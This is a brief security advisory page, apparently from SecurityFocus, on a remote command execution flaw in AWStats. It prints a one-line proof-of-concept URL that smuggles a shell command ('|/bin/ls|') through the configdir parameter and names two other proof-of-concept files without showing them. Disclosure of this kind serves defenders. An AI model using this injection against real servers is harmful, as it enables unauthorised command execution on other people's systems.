AWStats Remote Command Execution Vulnerability

An exploit is not required.

The following proof of concept supplied by <newbug@chroot.org> is available:

http://www.example.com/awstats/awstats.pl?configdir=|/bin/ls|

Proof of concept GHCaws.pl has been supplied by GHC.

Proof of concept awexpl.c has been supplied by Thunder <molnar_rcs@yahoo.com>.


 

Privacy Statement
Copyright 2010, SecurityFocus